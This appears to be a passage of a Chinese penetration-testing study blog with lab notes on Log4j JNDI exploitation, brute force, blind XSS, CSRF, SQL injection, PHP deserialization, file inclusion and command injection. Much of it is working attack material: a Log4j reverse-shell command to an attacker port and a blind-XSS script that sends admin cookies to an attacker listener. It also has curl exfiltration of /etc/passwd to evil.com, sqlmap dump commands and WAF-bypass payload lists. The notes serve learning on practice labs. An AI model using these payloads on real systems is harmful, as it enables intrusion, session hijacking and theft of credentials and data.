将上面的payloadURL编码后拼接在http://目标IP:端口/hello?payload=之后并访问

发现dnslog有响应，说明漏洞存在

构造第二个payload

`1`	`bash -c 'exec bash -i &>/dev/tcp/攻击IP/5566 <&1'`

使用base64编码后拼接在下面

`1`	`java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,payload放在这里}\|{base64,-d}\|{bash,-i}" -A 攻击IP`

nc监听nc -lvvp 5566

进入服务攻防\log4j在当前目录执行上面拼接好的命令

在命令行中返回的内容里选择tomcat 8+的地址作为payload，例如：

1
2

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.80.134:1099/u8ebi9	//这个是地址

拼接到下面的地址中

`1`	`http://192.168.80.151:42927/hello?payload=${jndi:插在这}`

同样把payload=后面的内容进行URL编码后直接访问，发现nc中有目标的root身份终端。

1.25 更多暴破、XSS、CSRF和sql

Sun, 25 Jan 2026 17:28:35 +0800

暴力破解进阶

基础部分请见1.6 其他基础web漏洞介绍

四种模式的特点：

sinper 针对单一变量爆破

battering ram 可以设置2个变量，paylaod同时赋值给2个变量

pitchfork 两个变量分别设置payload，并且一一对应

cluster bomb 交叉攻击

接下来打开pikachu靶场操作

验证码绕过(on server)

虽然服务端会生成验证码，但是我们可以利用验证码的生命时长来重复利用一个验证码。

所以直接抓包对密码部分进行字典爆破即可。

验证码绕过(on client)

客户端验证验证码的防护能力约等于没有，所以哪怕你直接把数据包里vscode=xxx的部分删除直接爆破密码也可以

token验证（重点）

特点：

每次提交，都会随机给你一个token值，一次性的，一旦token不同绝对不让你重复验证

可以防御重复提交

token属于无状态，可以在不同网站之间服务之间共享

token本身无法暴力破解

但是查看页面源代码，可以看到<input name="token" value="776496975bb416f396451548395" type="hidden">这一部分，所以我们可以想办法调用每次服务端发给我们的token来对密码进行爆破。

burp抓包，发送到intruder模式为pitch fork，把密码，和token做标记
到payload中，payload1使用密码字典，
options中线程选择1，下面的grep extract（正则表达式），点add，点fetch response，搜索value，把引号内的内容（也就是token）框起来，点OK
下面的redirections，点always
回到payload，选2，选择Recurisive grep，在下面的地方写上当前token的值
记得把payload encoding的勾去掉，Start Attack.

XSS盲打

打开pikachu靶场中Cross-Site Scripting(跨站攻击脚本)中的xss之盲打。

前台地址：http://localhost/vul/xss/xssblind/xss_blind.php

后台地址：http://localhost/vul/xss/xssblind/admin_login.php

黑客端：

打开nc ，监听自己的4444端口nc -lvp 4444
构造一个XSS盲打的代码 （重点）

`1`	`<script>var img=document.createElement("img");img.src="http://黑客IP:4444/cook?"+escape(document.cookie)+"&address?"+escape(window.location.href);</script>`

该段代码能够在管理员打开后台时获取其cookie(身份认证信息)和后台地址并发送到黑客的4444端口。

将代码连同正常信息提交到留言板，并持续等待nc监听返回结果
获取到数据包，例如：

GET /cook?ant%5Buname%5D%3Dadmin%3B%20ant%5Bpw%5D%3D10470c3b4b1fed12c3baac014be15fac67c6e815%3B%20PHPSESSID%3Dge2lk6tk0k0ohc2p5ti73mf2d0&address?http%3A//localhost%3A81/vul/xss/xssblind/admin.php HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost:81/vul/xss/xssblind/admin.php
DNT: 1
Connection: close

取第一行中有用部分将其中URL编码进行解码提高可读性，也可以使用这个Python脚本一键处理：auto url-decode.py

`1`	`cook?ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ge2lk6tk0k0ohc2p5ti73mf2d0&address?http://localhost:81/vul/xss/xssblind/admin.php`

可以从中分离出cookie为：

`1`	`ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=ge2lk6tk0k0ohc2p5ti73mf2d0`

后端网址为：http://localhost:81/vul/xss/xssblind/admin.php

黑客访问这个后端网址时使用burp抓包，将刚才的cookie替换进去即可免密登录后台。

CSRF跨站攻击

CSRF通常用于在用户不知情的情况下修改其信息，例如您根据某个网站修改个人信息的页面的表单写一段代码并隐藏在您自己的网站中（例如点击“点我中奖”后会向原网站提交修改用户名的表单），使用一些手段诱导用户访问您的网站并点击按钮，好处是利用用户自己的cookie从而绕过身份验证。

不过现在您不用再手写隐藏表单，您可以在提交个人信息的界面用burp抓包，右键后点击 Engagement tools– **Generate CSRF Poc ** 一键生成后复制html代码到本地自行修改。

例如下面这段代码将会使得用户在点击按钮后性别被修改为直升机。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:81/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="Helicopter" />
      <input type="hidden" name="phonenum" value="15988767673" />
      <input type="hidden" name="add" value="nba&#32;lakes" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="点击中奖！" />
    </form>
  </body>
</html>

sql注入自动化

实际上就是各种类型sql注入的sqlmap教程

打开pikachu靶场至SQL-Inject部分。

Level 1、2、4

python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch --threads 10
python sqlmap.py -u "http://localhost/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C id,username,password --dump --batch --threads 10

搜索型注入（特别）

搜索型注入在常规闭合基础上还会使用%，要特别注意。

猜测查询语句：
select * from table1 where username like '% x %'
插入payload：
select * from table1 where username like '% x%' union select 1,2,3 --+ %'

insert注入

猜测insert语句：
insert into table1(username,password,sex,phone,email,addr)values('用户名','密码','性别','地址','住址')
插入payload（注意使用了括号绕过，管道符包裹部分）：
insert into table1(username,password,sex,phone,email,addr)values('用户名','密码','性别','地址',' |x ' and extractvalue(1,concat(0x7e,(database()),0x7e))) #|  ')

update注入

先注册一个账号，进入到修改信息界面：

猜测update语句：
update table1 set sex='11',phone='22',email='33',addr='44' where username='retr0'
插入payload（管道符包裹部分）：
update table1 set sex='11',phone='22',email='33',addr='|44' and extractvalue(1,concat(0x7e,(database()),0x7e)) or '1'='1 '| where username='retr0'

delete注入

`1`	`python sqlmap.py -u "http://localhost/vul/sqli/sqli_del.php?id=69" --current-db --batch --threads 10`

HTTP头注入/盲注/宽字节注入

详见1.22 SQL注入系列-2

1.24-2 弱类型比较漏洞及序列化与反序列化

Sun, 25 Jan 2026 00:50:33 +0800

弱类型比较漏洞

弱类型比较漏洞是 PHP 语言特有的逻辑漏洞，根源在于 弱等于运算符（==）的特性：比较时不严格校验数据类型，会先自动将两侧数据转换为相同类型，再进行值比较，最终导致预期外的 “相等” 结果，可能被攻击者利用绕过认证、权限校验等关键逻辑。

原理介绍

字符串 vs 数字比较

转换规则：PHP 会将字符串强制转换为数字，转换逻辑为：取字符串开头的数字部分（若开头非数字则转换为 0），忽略后续非数字字符。

'12' == 12;        // true（字符串"12"转数字12，值相等）
'12abc' == 12;     // true（仅取开头数字12，忽略"abc"）
'adm2n' == 0;      // true（字符串开头非数字，转换为0）
'0123' == 123;     // true（前导0不影响数字转换结果）
'abc123' == 0;     // true（开头无数字，转0）

布尔值 vs 其他值比较

转换规则：布尔值true与任意非 0 值（含非空字符串、非 0 数字）相等；布尔值false仅与 0、空字符串等 “空值” 相等。

'way' == true;     // true（非空字符串转布尔值true）
'false' == true;   // true（字符串"false"非空，转true）
234 == true;       // true（非0数字转true）
0 == false;        // true（0转false）
'' == false;       // true（空字符串转false）
'0' == false;      // true（字符串"0"转数字0，再转false）

重点：哈希值 vs 字符串 “0” 比较

转换规则：若哈希值（如 md5、sha1 结果）以0e开头，且后续字符全为数字，PHP 会将其当作 科学计数法（0 的任意次幂 = 0） 处理，与字符串 “0” 或数字 0 比较时结果为 true。

$str1 = '240610708';  // md5($str1) = '0e420233178946742799316739797882'
md5($str1) == '0';    // true（哈希值以0e开头，按科学计数法解析为0）

$str2 = 'QNKCDZO';    // md5($str2) = '0e830400451993494058024219903391'
md5($str2) == 0;      // true（同理，解析为0）

md5加密数组输出为NULL

<?php
if(isset($_GET['username']) && isset($_GET['password']) ){
    if($_GET['username' ] == $_GET['password']){
        echo 'false';
}else if(md5($_GET['username']) === md5($_GET['password'])){
        echo 'flag is xxxxx' ;
}else{
        echo 'nonono';
    }
}
?>

想要得到flag就必须传入参数使得username和password都是数组，这样可以使他们本身不弱相等的情况下MD5值又强相等（因为没有值）。

传参：?username[]=1&password[]=2

利用方法

登录认证绕过：若后台用$_POST['password'] == $correct_pwd校验，可构造password=12绕过$correct_pwd="12abc"的校验。
哈希校验绕过：若用md5($input) == $admin_md5验证，可输入240610708（其 md5 以 0e 开头），绕过$admin_md5="0"的校验。
权限逻辑绕过：若用$role == 1（1 为管理员角色），可输入role=1abc，因转换为 1 导致权限提升。

序列化与反序列化

前置知识：php的面向对象

语法示例：类和对象的定义

<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello，我叫'.$this->name.'，年龄'.$this->age.'，我是一个'.$this->job.'</br>';   //$this可类比python中的self，旨在访问当前类中的变量
    }
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->age = 18;
$c1->job = '学生';
$c1->speak();
?>

魔术方法

构造函数__construct()

它在调用这个类初始化了一个对象时会自动执行。

1
2
3

function __construct(){
  echo '我被创造出来了</br>';
}

析构函数__destruct()

当这个类没用了会被内存销毁，同时执行

1
2
3

function __destruct(){
  echo '我死了</br>';
}

不知道叫什么__wakeup()

该函数会在反序列化时触发

1
2
3

function __wkaeup(){
  echo '我回来了，孩子们。';
}

其他方法

__toString 反序列化的时候对象被输出在模板的时候调用

__call 调用不存在的方法的时候调用

__invoke 把一个对象当作函数使用的时候调用

关于面向对象的补充

既然有公有的(public)成员变量，那么是否有私有的呢🤔？有的兄弟，有的。

我们这里把age变量改为私有(private，不可继承)或保护(protected，可继承)或并预设一个量。

此时就不能在初始化对象时重新设置它的年龄。

<?php
class People{   //定义类
    //成员变量
    public $name;
    protected $age = 20;
    private $job;
    
    //成员方法
    function speak(){
        echo 'hello，我叫'.$this->name.'，年龄'.$this->age.'，我是一个'.$this->job.'</br>';   //$this可类比python中的self，旨在访问当前类中的变量
    }
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->job = '学生';
$c1->speak();
?>

除非我们在类中定义一个成员方法(function) 专门用来修改这个私有变量，

1
2
3

function setAge($age){	//函数名字不固定，重要的是括号里的参数
  $this->age = $age;
}

在初始化对象时调用这个方法即可：

<?php
class People{   //定义类
    //成员变量
    public $name;
    protected $age = 20;
    private $job = '学生';
    
    //成员方法
    function speak(){
        echo 'hello，我叫'.$this->name.'，年龄'.$this->age.'，我是一个'.$this->job.'</br>';   //$this可类比python中的self，旨在访问当前类中的变量
    }
	function setAge($age){	//函数名字不固定，重要的是括号里的参数
  		$this->age = $age;
		}
}
$c1 = new People();	//初始化对象
$c1->name = '小明';
$c1->setAge(16);
echo serialize($c1);
$c1->speak();
?>

序列化

上面我们创造了c1这个人对象，但是如果想要发送这个对象不能只依赖复制粘贴，必须使用一种更高效的方法，相当于把复杂的数据压缩为连续的字符串而不丢失信息，这就是序列化。

1
2
3

$c1_zip = serialize($c1)
//输出：O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}
//Object名people(6个字)：(含3个变量){string类型，4个字，变量名name}。。。。以此类推

现在我们可以将这串序列化后的字符串传输到其他地方，当需要还原的时候就使用反序列化。

那么如果是非公有的变量被序列化之后呢？以上上方代码块中的形式为例

`1`	`O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"*age";i:16;s:11:"Peoplejob";s:6:"学生";}`

可以看到两个非公有的变量其字数和数字标的对不上（例如*age标为6个字），这是因为有内容被屏蔽了，我们来补全它

1
2

O:6:"People":3:{s:4:"name";s:6:"小明";s:6:"%00*%00age";i:16;s:11:"%00People%00job";s:6:"学生";}
实际上就是*的前后各一个%00，然后类+变量的形式在类的前后各一个%00

而%00作为截断符算1个字，这样是不是就对上了。

%00无法被肉眼观测，也无法复制粘贴，所以我们要用base64的方法来传输：

1
2

echo base64_encode(serialize($c1));
//输出：Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==

反序列化

可以看到，仅仅使用了这串字符串就还原了对象的所有变量，你也可以把它字面类比为人设。

<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello，我叫'.$this->name.'，年龄'.$this->age.'，我是一个'.$this->job.'</br>';   //$this可类比python中的self，旨在访问当前类中的变量
    }
	function __wakeup(){
  		echo '反序列化程序启动</br>';
        echo '调用防火墙审核</br>';
	}
  	function __destruct(){
  			echo '我死了</br>';
	}
}
$c2_zip = 'O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:6:"学生";}';
$c2 = unserialize($c2_zip);
$c2->speak();
?>

如果我们接受到的是base64加密过的序列就给它套一层解码就行了

1
2

$c2_zip = 'Tzo2OiJQZW9wbGUiOjM6e3M6NDoibmFtZSI7czo2OiLlsI/mmI4iO3M6NjoiACoAYWdlIjtpOjE2O3M6MTE6IgBQZW9wbGUAam9iIjtzOjY6IuWtpueUnyI7fQ==';
$c2 = unserialize(base64_decode($c2_zip));

漏洞利用

如果要利用反序列化的漏洞，那么一般是这样的情景：

<?php
class People{   //定义类
    //成员变量
    public $name;
    public $age;
    public $job;
    
    //成员方法
    function speak(){
        echo 'hello，我叫'.$this->name.'，年龄'.$this->age.'，我是一个'.$this->job.'</br>';   //$this可类比python中的self，旨在访问当前类中的变量
    }
		function __wakeup(){
  			echo '反序列化程序启动</br>';
        echo '调用防火墙审核</br>';
	}
}
$c2_zip = $_GET['man'];
$c2 = unserialize($c2_zip);
$c2->speak();
?>

我们只要在浏览器里给man传参即可，而且显然我们也可以对手上的序列进行一些修改，以输入自己想要的数据。比如我们把学生改为’teacher’，同时把字数改为7（原本一个汉字算三个字）。

`1`	`O:6:"People":3:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}`

但是这样并不能突破__wakeup()函数，很可能被防火墙拦截。

解决方案：把变量数+1，即：

`1`	`O:6:"People":4:{s:4:"name";s:6:"小明";s:3:"age";i:18;s:3:"job";s:7:"teacher";}`

小练习

<?php 

class Aurora{
    public $test;
    public $Aurora = "i am aurora";

    function __construct(){
        $this->test=new L();
    }

    function __destruct(){
        $this->test->action();
    }
}

class L{
    function action(){
        echo "i am L--action";
    }
}

class Evil{
    var $test2;
    function action(){
        eval($this->test2);
    }
}

unserialize($_GET['test']);

?>

解题方法： 把源代码复制到实验区域，初始化一个对象，修改代码中预设变量值为自己想要实现的效果，加上序列化函数，查看序列化结果，如：

<?php 

class Aurora{
    public $test;
    public $Aurora = "i am aurora";

    function __construct(){
        $this->test=new Evil();
                    //	^~~~~~~~此处修改
    }

    function __destruct(){
        $this->test->action();
    }
}

class L{
    function action(){
        echo "i am L--action";
    }
}

class Evil{
    var $test2='phpinfo();';
            //	^~~~~~~~此处修改
    function action(){
        eval($this->test2);
    }
}

unserialize($_GET['test']);

$a = new Aurora();	//初始化变量
echo serialize($a);	//导出序列化结果

?>
序列化结果：O:6:"Aurora":2:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}s:6:"Aurora";s:11:"i am aurora";}

将序列化结果传入即可。

其他漏洞

extract()

extract()的作用是把get进来的东西分离为变量名和变量值，例如：

1
2

extract($_GET);
echo $test;

如果我传入?test=hello那么在程序看来就是$test='hello'

例题

<?php
extract($_GET);
if(isset($aurora)){
    //加载$flag变量代表的文件
    $content = trim(file_get_contents($flag));	//打开当前目录下的文件
    if($aurora == $content){
        echo 'flag{xxxxx}';
    }else{
        echo "nonono";
    }
}
?>

传参：?content=&aurora=

正则表达式和strpos()

正则表达式遇到%00时会停止匹配，但strpos()不停
当数组遇到strpos()时输出NULL

<?php
if(isset($_GET['password']) ){
    //输入的内容一定要不能乱来,只有字符串数字
    if(ereg("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE){
        echo 'no1';
    }else if(strpos($_GET['password'],' -- ') !== FALSE){ //查找'--'在password中第一次出现的位置
    //你输入的内容得要有 --
    echo 'flag is xxxxxxx';
    }else{
    echo 'no2';
    }
}
?>

传参：?password[]=123%00--

1.24-1 文件包含漏洞和命令执行漏洞

Sat, 24 Jan 2026 20:58:21 +0800

文件包含漏洞

搭建靶场所用文件：https://pan.baidu.com/s/1IoX4I73J5mnD96tzlnV6UQ?pwd=s86q

这部分在之前的【文件上传】当中已有运用，详情请看1.19 XSS 注入攻击2与文件上传

文件包含在php中有两种写法：

include 出错但继续
require 出错会停
include_once 相当于include，但会检查确保只包含一次
require 相当于require，但会检查确保只包含一次

本地包含（Local File Include）

在靶场中选择File Inclusion(local)选择一个选项后用burp抓包可以看见提交的数据包中第一行为：

`1`	`GET /vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 HTTP/1.1`

这里作者已经帮我们在网站根目录的test文件夹里放了一个phpinfo.txt我们需要使用调用它。

因为默认情况下这里路径指的是\vul\fileinclude\include文件夹，所以我们要在路径前面写../来回退到上一个目录

最终的filename是../../../test/phpinfo.txt使用了三次回退正好回退到了根目录

注：有些情况下(PHP<5.3.4)filename最后可能需要使用%00截断

远程包含（Remote File Include）

测试远程文件包含可以用准备好的phpinfo文件：http://www.retr0.xyz/blog-files/phpinfo.txt

同样提交时使用burp抓包，第一行为：

`1`	`GET /vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 HTTP/1.1`

这里比较简单，因为include函数是放在数据包里的，所以我们直接把原本的filename替换成远程木马的链接就可以了，例如：

`1`	`filename=http://www.retr0.xyz/blog-files/phpinfo.txt`

有时http://协议异常时也可以试试ftp://

一般情况下远程文件包含不会像这样简单，因为需要服务端配置了以下环境（php.ini）:

allow_url_fopen = On
allow_url_include = On

结合php伪协议

php://filter（获取源码）

适用场景

`1`	`include($_GET['file']);`

并且：

allow_url_include ❌ 无要求
php://filter 默认开启

利用方式

`1`	`?filename=php://filter/read=convert.base64-encode/resource=index.php`

此外也有：

`1`	`?filename=php://filter/read=string.toupper\|string.rot13/resource=index.php`

php://input（执行代码）

php://input会让服务端将你传的php代码当作一个临时的php文件运行。

使用方法：

向目标参数传入php://input，如：

`1`	`http://target/vuln.php?filename=php://input`

同时用POST方式传入你的一句话木马：

`1`	`<?php phpinfo(); ?>`

php://file（使用绝对路径打开文件）

使用方法：

修改目标参数为：

`1`	`filename=file://绝对路径`

如：filename=file:///etc/passwd

或：filename=file:///C:/windows/

php://data（直接在URL中写php代码）

使用方法：

修改目标参数为：

`1`	`filename=data://text/plain,<?php phpinfo();?>`

或者使用base64加密版（不要带加号）

`1`	`filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b`

命令执行漏洞

命令执行在之前的1.6 其他基础web漏洞介绍有过简单介绍，在这里再来总结补充一下。

例如一个网页上让你输入一个ip，提交后会返回ping这个ip的结果，那么我们要想这个ping的执行是否是由系统命令直接执行的（cmd或bash），如果是那么如何让它执行别的命令？

危险函数盘点

系统命令执行函数

system()
shell_exec()
popen()
exec()
passthru()
proc_open()
反引号 command（等效于 shell_exec ()）

代码执行函数

eval()
create_function()
assert()
preg_replace ('/e')（正则替换 /e 修饰符触发代码执行）

漏洞模式分类（含代码示例）

直接执行模式

核心特征：用户输入直接作为命令执行参数
示例代码：system($_GET['cmd']);
攻击逻辑：输入的 cmd 参数无过滤，直接触发命令执行

拼接执行模式

核心特征：用户输入与固定命令拼接后执行
示例代码：$ip = $_GET['ip']; system("ping -c 4 " . $ip);
攻击逻辑：通过拼接分隔符（如；、|）注入额外命令

动态函数调用模式

核心特征：用户输入作为函数名调用
示例代码：$func = $_GET['func']; $func();
攻击逻辑：输入危险函数名（如 system）触发执行

命令执行绕过技术

命令分隔符（按系统分类）

Linux 系统

分号 ;：顺序执行多个命令（command1; command2）
管道 |：将前命令结果传递给后命令（command1 | command2）
逻辑运算符：
- &&：前命令成功则执行后命令（command1 && command2）
- ||：前命令失败则执行后命令（command1 || command2）
后台执行 &：同时执行多个命令（command1 & command2）
换行符 0x0a：换行分隔命令（command1 0x0a command2）
子 shell：$(command1) 或 \command1``（执行子 shell 命令）

Windows 系统

顺序执行 &：command1 & command2
逻辑运算符：&&（前成功则后执行）、||（前失败则后执行）
管道 |：command1 | command2

空格绕过

$IFS：cat${IFS}/etc/passwd
大括号 {}：{cat,/etc/passwd}
重定向符号：cat</etc/passwd
Hex 编码：X=$'cat\x09/etc/passwd'&&$X（\x09 为 Tab 字符）

字符串混淆

变量拼接：a=c;b=at;c=/etc/passwd;$a$b $c
通配符替代：/bin/cat /etc/pass[d]、/???/c?t /etc/passwd
引号混淆：c'a't、c"a"t、c\at
特殊符号绕过：l's'（绕过 ls 关键词屏蔽）、chmo\d（绕过 chmod 屏蔽）

编码绕过

Base64 编码（适用于 WAF 拦截关键字）

示例：将cat /etc/passwd编码为Y2F0IC9ldGMvcGFzc3dk
执行命令：echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

Hex 编码

示例：将cat /etc/passwd编码为636174202f6574632f706173737764
执行命令：echo 636174202f6574632f706173737764 | xxd -r -p | bash

DNS 外带（OOB）

原理：将命令执行结果作为子域名发送到攻击者 DNS 服务器
示例：ping 反引号whoami反引号.evil.sh

详见：1.22.SP 奇技淫巧：SQL注入之数据外带

HTTP 外带

原理：通过 HTTP 请求将结果发送到攻击者服务器
示例：curl http://evil.com/$(cat /etc/passwd|base64)
进阶：带认证 + 数据编码 curl -u user:pass http://evil.com/$(whoami|base64) -d "data=$(cat /etc/passwd|base64)"

时间盲注

原理：通过命令执行后的延迟判断是否成功
示例：sleep 5（Linux）、ping -c 10 127.0.0.1（Linux）

常用系统命令与替代方案

基础命令（按系统分类）

Linux

查看目录：ls
读取文件：cat、tac、head、tail、more、less、nl、sort、paste
系统信息：pwd、whoami、chmod
路径格式：/etc/passwd、./haha.php

Windows

系统信息：whoami、ipconfig
查看目录：dir
读取文件：type
路径格式：c:/a.txt、c:\a.txt

关键词WAF屏蔽绕过（替代命令）

屏蔽 cat：使用 tac、more、less、head、tail、nl、sort、paste
屏蔽 ls：使用l's'、ls的通配符替代
屏蔽 php：使用通配符./haha.ph*、./haha.ph?

1.23 SQL注入系列-3

Fri, 23 Jan 2026 20:44:35 +0800

应对WAF(网页防火墙)

过滤空格

使用下面的URL编码尝试替代空格：

%20 标准空格

%09 水平tab键

%0a 新建一行

%0c 新建一页

%0d 回车键

%0b 垂直tab键

%a0 也是空格键

特殊的，对于两个不同语法单元之间的空格也可以用运算符来代替：

||：逻辑或运算符（注意：MySQL 中默认 || 是逻辑或，和OR等价，部分环境需配置）

&：位与运算符

^：位异或运算符

+：算术加法运算符（前提是左右两边可转换为数字）

例如：

`1`	`?id=1'\|extractvalue(1,concat(0x7e,database()));%00`

传入上面的参数后，因为select查询和extractvalue是两个无关的语法单元，所以可以用|连接。

过滤注释符

过滤注释符后我们的思路一般就是两种：

将注释符换为截止符%00
使得查询语句中$id前后的符号都能闭合

这里针对第二种进行讲解（以Less-23为例）：

将前后两个单引号闭合再用or连接，即：

`1`	`?id=' or extractvalue(1,concat(0x7e,database())) or'`

这样在整个查询语句中就是：

`1`	`$sql="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or' ' LIMIT 0,1";`

过滤and、or

替换URL编码：

or = || = %7c%7c(url编码)

and = && = %26%26(url编码)

双写绕过：

or—>oorr

and–>anandd

过滤-``/``\等重要符号

使用URL编码绕过

过滤union、select等重要单词

随机其中几个字母大小写
双写绕过

过滤数据库名

可对数据库名进行HEX编码，顺便也可绕过对引号的屏蔽，例如：

`1`	`slect table_name from information_schema where table_schema=0x7365637572697479`

补充

大小写绕过

unION SelECT

双写绕过

uniunionon

编码绕过

hex和urlencode

注释符

uni/**/on

反引号

列名和表名可以使用``包裹

`1`	select * from `select`

内联注释

and /*!select*/ 1,2,3

<>绕过

uni<>on sel<>ect

屏蔽逗号

select substr("haha",1,3)

select substr("haha" from 1 to 3)

union select 1,2,3=union select * from (select 1)a join (select 2)b join (select 3)c join;

limit 0,1=limit 0 offset 1

sleep屏蔽

and sleep(1)=and benchmark(100000000000,1)

group_concat屏蔽

select group_concat("haha","nihao")=select concat_ws("haha","nihao")

屏蔽等号

like rlike regexp <>

1' or '1'='1

1' or '1'<>'1

POST情况屏蔽#

-- a

ip地址屏蔽

X-Forwarded-For: 1.1.1.1

X-Remote-IP

X-Originating-IP

X-Real-Ip

修改静态资源

www.x.com/sql.php?id=1

www.x.com/sql.php/1.js?id=1

url白名单

防火墙很多时候不会去管管理员后台做了什么，利用waf自带的白名单admin login manager system sys

www.x.com/sql.php/admin.php?id=1

www.x.com/sql.php?xxxx=/manager/&id=1

www.x.com/../../../../../manager.php/../../../sql.php?id=1

爬虫白名单

伪造自己成为搜索引擎的爬虫（ua的伪造）

增加干扰

union all %a0 select

利用insert、update和delete进行注入 [1]

思路简要说明

insert、update、delete注入的本质是参数未经过滤，攻击者可在语句的关键位置插入恶意 SQL 片段，利用数据库执行特性获取敏感数据，核心常用方法为报错注入，具体应用场景如下：

insert 注入：在insert into 表名(字段1,字段2) values(值1,值2)中，针对 “值 1”“值 2” 等参数构造恶意内容（如插入错误的函数调用、语法错误片段），触发数据库报错，通过错误提示回显数据库名、表名、字段名等信息。
update 注入：在update 表名 set 字段=值 where 条件中，针对 “值” 或 “条件” 部分注入恶意 SQL，例如构造含报错函数的语句，使数据库执行时抛出包含敏感数据的错误（如用户密码、权限信息等）。
delete 注入：在delete from 表名 where 条件中，针对 “条件” 参数注入恶意片段，通过触发报错或利用条件判断逻辑，间接获取数据或破坏数据完整性（注入核心以 “获取数据” 为目标时，优先通过报错回显实现）。

本地测试

执行下面的的命令创建测试用数据

create database newdb;
use newdb;
create table users (
    id int(3) not null auto_increment,
    username varchar(20) not null,
    passowrd varchar(20) not null,
    primary key(id)
);
insert into users values(1,'janes','Eyre');

接下来我们通过单双引号包含的形式来人为构造语法错误实现报错。

1
2

insert into users(id,username,passowrd) values (2,''payload'','testpwd');
insert into users(id,username,passowrd) values (3,""payload"",'testpwd');

然后就大同小异了，插入我们的payload（以查看版本号为例）。

1
2
3

or updatexml(1,concat(0x7e,(version())),0) or
// 标准句式就是：
or 报错注入语句 or

其他报错注入语句请见 1.22 SQL注入系列-2

Insert:

`1`	`insert into users(id,username,passowrd) values(2,'haha' 注入点 '','testpwd');`

Update:

`1`	`update user set passowrd='testpwd' 注入点 '' where id=2 and username='haha';`

Delete:

`1`	`delete from users where id=2 注入点 '';`

此外，除了or (payload) or闭合格式，还有下面的其他闭合变种：

'or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
' * (payload) *'
' or (payload) and '
"- (payload) -"

宽字节注入

在一些情况下，目标会使用诸如addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc()等函数对我们传入的内容进行转义，特别是引号之类的内容，这就会导致我们无法通过直接在参数里填入'来达成闭合，而宽字节注入就是为了解决这个问题。

宽字节概念

相对于单字节，我们引入一个字符数大小为两个字节的为宽字节，比如GBK编码，我们汉字通常使用的就是GBK编码，也就是说一次性会读取两个字节。

注入原理

以addslashes()函数为例，它的目的是根据预定义的字符（由服务端根据需要配置，例如单双引号）在你传的参数中检查是否存在这些预定义字符，如果有就在前面加上一个\起到转义的作用。这样当你试图传入?id=1'时实际的参数为?id=1\'后面的引号失去了闭合作用。

但假如我们像下面这样传参：?id=%df'🤔

你先别急%df是什么意思，但是你肯定知道\的URL编码是%5C，这样一来参数在程序内部就变成了%df%5C'，而%df%5C实际上是[運]这个汉字的GBK编码，而MySQL会优先识别汉字的GBK编码**（前提是数据库本身就是GBK编码）**而忽略了转义符的存在，导致后面跟着的单引号仍然具有闭合作用。

具有相似性质的汉字还有这些：

小测验（Less-32）

使用刚才学习的宽字节注入轻松完成闭合并获取到了报错位：

`1`	`?id=%df'union select 1,2,3 --+`

接下来的操作就和第一关一样了。

最终payload：

`1`	`?id=%df'union select 1,group_concat(username),group_concat(password) from users --+`

使用sqlmap进行宽字节注入

新增参数：--tamper unmagicquotes指加载unmagicquotes这个宽字节注入专用模型，其他没什么区别。

爆库名：

`1`	`sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes --current-db --batch`

爆表名：

`1`	`sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security --tables --batch`

爆字段名：

`1`	`sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security -T users --columns --batch`

爆字段数据：

`1`	`sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security -T users -C username,password --dump --batch`

参考文献

